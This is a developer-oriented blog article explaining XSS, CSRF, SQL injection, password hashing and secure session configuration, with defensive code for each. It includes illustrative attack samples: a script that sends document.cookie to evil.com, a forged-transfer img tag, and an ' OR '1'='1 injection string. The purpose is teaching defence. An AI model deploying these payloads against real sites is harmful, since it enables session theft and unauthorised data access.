All Articles
Tech News10 min read

Web Security Fundamentals Every Developer Must Know

Protect your applications from common attacks. XSS, CSRF, SQL injection, and authentication security explained.

T

TechGyanic

December 2, 2025

Web Security Fundamentals Every Developer Must Know

Security isn't just for security engineers. Every developer ships code that could be exploited. Here are the attacks you must understand and prevent.

XSS (Cross-Site Scripting)

Attacker injects malicious scripts into your page.

The Attack

<!-- User submits this as their "name" -->
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

Prevention

1. Escape output

// Bad - directly inserting user input
element.innerHTML = userInput;

// Good - escape HTML entities
element.textContent = userInput;

// In React - already escaped by default
return <div>{userInput}</div>;

2. Content Security Policy

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

3. HTTPOnly Cookies

res.cookie('session', token, {
  httpOnly: true,  // Not accessible via JavaScript
  secure: true,    // HTTPS only
  sameSite: 'strict'
});

CSRF (Cross-Site Request Forgery)

Attacker tricks user into making unwanted requests.

The Attack

<!-- On attacker's site -->
<img src="https://yourbank.com/transfer?to=attacker&amount=10000">

Prevention

1. CSRF Tokens

// Generate token
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;

// Include in forms
<input type="hidden" name="_csrf" value="{{csrfToken}}">

// Verify on POST
if (req.body._csrf !== req.session.csrfToken) {
  return res.status(403).json({ error: 'Invalid CSRF token' });
}

2. SameSite Cookies

res.cookie('session', token, { sameSite: 'strict' });

SQL Injection

Attacker manipulates your database queries.

The Attack

// Vulnerable code
const query = `SELECT * FROM users WHERE email = '${email}'`;

// Attacker input: ' OR '1'='1
// Results in: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns all users!

Prevention

Always use parameterized queries:

// Node.js with pg
const result = await db.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);

// Prisma
const user = await prisma.user.findUnique({
  where: { email }
});

// Mongoose
const user = await User.findOne({ email });

Password Security

Never store plain text passwords.

const bcrypt = require('bcrypt');

// Hash password before storing
const hashedPassword = await bcrypt.hash(password, 12);

// Verify password
const isValid = await bcrypt.compare(inputPassword, hashedPassword);

Password Requirements

  • Minimum 8 characters
  • Check against common password lists
  • Don't limit maximum length
  • Allow all characters (including spaces)

Authentication Best Practices

// Use secure session configuration
app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,        // HTTPS only
    httpOnly: true,      // No JS access
    maxAge: 24 * 60 * 60 * 1000,  // 24 hours
    sameSite: 'strict'
  }
}));

// Rate limit login attempts
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 5,  // 5 attempts
  message: 'Too many login attempts'
});

app.post('/login', loginLimiter, handleLogin);

Security Headers

const helmet = require('helmet');
app.use(helmet());

// This sets:
// - X-Content-Type-Options: nosniff
// - X-Frame-Options: DENY
// - X-XSS-Protection: 1; mode=block
// - Strict-Transport-Security
// - And more...

Checklist

Before every deployment:

  • Input validation on all user data
  • Parameterized database queries
  • HTTPS everywhere
  • Security headers configured
  • Dependencies updated
  • Secrets in environment variables
  • Rate limiting on sensitive endpoints

Security is not a feature—it's a requirement.

securityweb-developmentbackendauthenticationbest-practices
Share this article
T

Written by

TechGyanic

Sharing insights on technology, software architecture, and development best practices.